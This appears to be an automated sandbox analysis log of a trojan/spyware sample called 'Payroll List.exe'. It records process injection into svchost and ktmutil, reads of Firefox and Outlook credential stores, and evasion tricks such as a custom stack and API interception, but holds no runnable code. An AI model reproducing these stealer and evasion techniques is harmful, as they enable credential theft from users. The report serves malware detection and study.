Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E53A6C	6_2_02E53A6C
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9FA49	6_2_02E9FA49
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E97A46	6_2_02E97A46
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E55BF0	6_2_02E55BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E1DBF9	6_2_02E1DBF9
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DFFB80	6_2_02DFFB80
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9FB76	6_2_02E9FB76
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE38E0	6_2_02DE38E0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E4D800	6_2_02E4D800
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE9950	6_2_02DE9950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DFB950	6_2_02DFB950
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E75910	6_2_02E75910
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE9EB0	6_2_02DE9EB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DA3FD2	6_2_02DA3FD2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DA3FD5	6_2_02DA3FD5
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE1F92	6_2_02DE1F92
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9FFB1	6_2_02E9FFB1
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9FF09	6_2_02E9FF09
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E9FCF2	6_2_02E9FCF2
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E59C32	6_2_02E59C32
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DFFDC0	6_2_02DFFDC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E97D73	6_2_02E97D73
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02DE3D40	6_2_02DE3D40
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02E91D5A	6_2_02E91D5A
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_00411FB0	6_2_00411FB0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0040CEE7	6_2_0040CEE7
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0040CEF0	6_2_0040CEF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0040D110	6_2_0040D110
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0040B188	6_2_0040B188
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0040B190	6_2_0040B190
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_00415610	6_2_00415610
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_00413850	6_2_00413850
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_0042BBC0	6_2_0042BBC0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02A4E344	6_2_02A4E344
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02A4E463	6_2_02A4E463
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02A4CA9B	6_2_02A4CA9B
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02A4D8C8	6_2_02A4D8C8
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_02A4E805	6_2_02A4E805

Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02E5F290 appears 105 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02E27E54 appears 111 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02E4EA12 appears 86 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02E15130 appears 58 times
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: String function: 02DCB970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0392B970 appears 274 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03975130 appears 37 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 039BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03987E54 appears 99 times
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: String function: 00146AC0 appears 42 times
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: String function: 0014F8A0 appears 35 times
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: String function: 0013EC2F appears 68 times

Source: Payroll List.exe, 00000000.00000003.1427600863.00000000036F3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Payroll List.exe
Source: Payroll List.exe, 00000000.00000003.1425867649.000000000384D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Payroll List.exe

Source: Payroll List.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/3@11/8

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0016CE7A GetLastError,FormatMessageW,

0_2_0016CE7A

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015AB84 AdjustTokenPrivileges,CloseHandle,		0_2_0015AB84
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0015B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_0015B134

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0016E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0016E1FD

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00166532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_00166532

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0017C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_0017C18C

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0012406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_0012406B

Source: C:\Users\user\Desktop\Payroll List.exe

File created: C:\Users\user\AppData\Local\Temp\aut8438.tmp

Source: Payroll List.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Payroll List.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: ktmutil.exe, 00000006.00000002.3291580399.00000000028C9000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1937880728.0000000002872000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1937880728.00000000028C9000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3291580399.0000000002893000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1937880728.0000000002893000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1936456100.0000000002893000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1936390356.00000000028A8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Payroll List.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\Payroll List.exe "C:\Users\user\Desktop\Payroll List.exe"
Source: C:\Users\user\Desktop\Payroll List.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payroll List.exe"
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Payroll List.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payroll List.exe"	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payroll List.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\ktmutil.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Payroll List.exe

Static file information: File size 1212928 > 1048576

Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Payroll List.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Payroll List.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eLiCpwzRIeWAs.exe, 00000004.00000000.1656145013.000000000061E000.00000002.00000001.01000000.00000005.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3291434953.000000000061E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Payroll List.exe, 00000000.00000003.1434270538.0000000003770000.00000004.00001000.00020000.00000000.sdmp, Payroll List.exe, 00000000.00000003.1427600863.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1639800247.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1641453907.0000000003700000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1744250358.0000000002BF6000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002F3E000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1742406359.0000000002A44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payroll List.exe, 00000000.00000003.1434270538.0000000003770000.00000004.00001000.00020000.00000000.sdmp, Payroll List.exe, 00000000.00000003.1427600863.00000000035D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1639800247.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003A9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734208595.0000000003900000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1641453907.0000000003700000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 00000006.00000003.1744250358.0000000002BF6000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3292514897.0000000002F3E000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.1742406359.0000000002A44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000002.00000002.1734052024.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734033314.0000000003200000.00000004.00000020.00020000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292022741.0000000001548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ktmutil.pdb source: svchost.exe, 00000002.00000002.1734052024.0000000003219000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1734033314.0000000003200000.00000004.00000020.00020000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292022741.0000000001548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: ktmutil.exe, 00000006.00000002.3291580399.0000000002813000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3293451407.00000000033CC000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.00000000258CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: ktmutil.exe, 00000006.00000002.3291580399.0000000002813000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.3293451407.00000000033CC000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000002E2C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.00000000258CC000.00000004.80000000.00040000.00000000.sdmp

Source: Payroll List.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Payroll List.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Payroll List.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Payroll List.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Payroll List.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0013E01E LoadLibraryA,GetProcAddress,

0_2_0013E01E

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013288A push 66001323h; retn 0019h	0_2_001328E1
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00146B05 push ecx; ret	0_2_00146B18
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416096 push eax; ret	2_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004168B9 push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004160BB push eax; ret	2_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416970 push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041692F push 49A0F8CEh; ret	2_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004049B6 push cs; iretd	2_2_004049BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004032E0 push eax; ret	2_2_004032E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00415A90 push ds; retf	2_2_00415A93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041938B push ecx; retf	2_2_004193EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411BB6 push ecx; retf	2_2_00411BB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004065E5 push cs; ret	2_2_004065F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E33 push ds; iretd	2_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D6C1 push ebp; retf	2_2_0040D6CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404E91 push ds; iretd	2_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_039309AD push ecx; mov dword ptr [esp], ecx	2_2_039309B6
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05190D40 push 49A0F8CEh; ret	4_2_05190CE2
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0517ED86 push cs; iretd	4_2_0517ED8A
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_051809B5 push cs; ret	4_2_051809C0
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05181C34 push ecx; ret	4_2_05181C72
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05190466 push eax; ret	4_2_051904B9
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05190C89 push 49A0F8CEh; ret	4_2_05190CE2
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0519048B push eax; ret	4_2_051904B9
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05181CC0 push ecx; ret	4_2_05181C72
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05190CFF push 49A0F8CEh; ret	4_2_05190CE2
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518BF86 push ecx; retf	4_2_0518BF88
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_05181BB8 push ecx; ret	4_2_05181C72
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0517F203 push ds; iretd	4_2_0517F233
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0517F261 push ds; iretd	4_2_0517F233
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Code function: 4_2_0518FE60 push ds; retf	4_2_0518FE63

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00188111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00188111
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0013EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0013EB42

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0014123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0014123A

Source: C:\Users\user\Desktop\Payroll List.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\Payroll List.exe	API/Special instruction interceptor: Address: D5808C
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD324
Source: C:\Windows\SysWOW64\ktmutil.exe	API/Special instruction interceptor: Address: 7FFBCB7AD7E4
